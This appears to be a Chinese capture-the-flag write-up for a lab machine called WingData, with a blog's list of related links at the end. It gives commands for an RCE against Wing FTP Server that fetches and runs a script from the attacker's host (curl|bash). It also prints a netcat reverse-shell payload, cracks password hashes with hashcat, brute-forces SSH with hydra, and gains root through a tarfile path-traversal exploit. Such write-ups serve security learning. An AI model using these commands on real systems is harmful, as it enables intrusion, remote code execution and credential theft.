WingData

复制代码
10.129.7.40

nmap扫描

复制代码
sudo nmap --top-ports 10000 10.129.7.40 --min-rate=1000 -oA ips_quick_TCP_nmapscan && sudo nmap --top-ports 10000 10.129.7.40 --min-rate=1000 -sU -oA ips_quick_UDP_nmapscan && nmap -p- 10.129.7.40 -oA ips_full_TCP_nmapscan --min-rate=1000 && sudo nmap -p- 10.129.7.40 -sU -oA ips_full_UDP_nmapscan --min-rate=1000

点击client,发现新的Vhost 。 ftp.wingdata.htb

wing ftp server v7.4.3 发现

https://www.exploit-db.com/exploits/52347

复制代码
python -m http.server 80

python pwn.py -u http://ftp.wingdata.htb/ -c 'curl http://10.10.14.37'

反连

复制代码
python pwn.py -u http://ftp.wingdata.htb/ -c 'curl http://10.10.14.37/pwn|bash'

pwn 文件内容

复制代码
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.37 81 >/tmp/f

我们在/opt/wingsftpserver/data/1/users/中可以发现大量的用户和其密码hash

我们了解到wingftp的密码被保存SHA256,且wingsftp的默认盐是WingFTP

复制代码
hashcat -a 0 -m 1410 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP /home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt -r /home/kali/Desktop/TOOL/cred/hashcat/rules/best66.rule
复制代码
!#7Blushing^*Bride5

hydra -L users.txt -P passwords.txt ssh://wingdata.htb -V
复制代码
ssh wacky@wingdata.htb 

阅读/opt/backup_clients/restore_backup_clients.py,发现相关漏洞 https://linuxsecurity.com/news/security-vulnerabilities/python-tarfile-supply-chain-risk

漏洞说明,如果压缩文件包含了.../就会逃脱出解压的目标文件夹,这为我们写入/root/.ssh/authorized_keys打下了基础。我们尝试一下。这篇文章给我们构造文件的办法 https://github.com/1135/notes/blob/master/web_vul_PathTraversal.md

复制代码
python evilarc.py authorized_keys --os=unix --depth=5 --output-file=backup_1001.tar --path=root/.ssh/authorized_keys

我们把文件传输过去,然后解压

复制代码
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1001.tar -r restore_1001
复制代码
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1002.tar -r restore_1001

我们自己搭建的貌似不成功,我们在网上找到了这个poc

https://github.com//thefizzyfish//CVE-2025-4138_tarfile_filter_bypass

复制代码
python3 CVE-2025-4138_tarfile_filter_bypass.py \
    -o backup_1004.tar \
    -t /root/.ssh/authorized_keys \
    -p ~/.ssh/id_ed25519.pub \
    -m 0600

sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1004.tar -r restore_1001
复制代码
ssh -i ~/.ssh/id_ed25519 root@wingdata.htb
相关推荐
沐泽__1 天前
Elasticsearch 磁盘水位线详解:从触发只读到安全解锁
大数据·安全·elasticsearch
2301_816374331 天前
服务访问的用户认证
前端·网络
认真的薛薛1 天前
阿里云:A记录、CNAME记录 详细应用场景
网络·阿里云·云计算
阿部多瑞 ABU1 天前
AI安全报告合集
人工智能·安全
谷雨不太卷1 天前
TCP外壳
linux·网络·tcp/ip
上海云盾-高防顾问1 天前
什么是IP访问数据?
网络·网络协议·tcp/ip
@insist1231 天前
信息安全工程师-主动防御体系核心技术:从监测溯源到隐私保护全解析
网络·安全·软考·信息安全工程师·软件水平考试
德迅云安全-小潘1 天前
游戏行业如何保障网络安全
服务器·网络·游戏
QYR_111 天前
2026年MT 插芯市场洞察:CAGR 7.9%,2032 年全球规模将达 4.6 亿美元
网络·数据库·人工智能
星恒讯工业路由器1 天前
SYN Flood攻击与防护:工业路由器安全
网络·智能路由器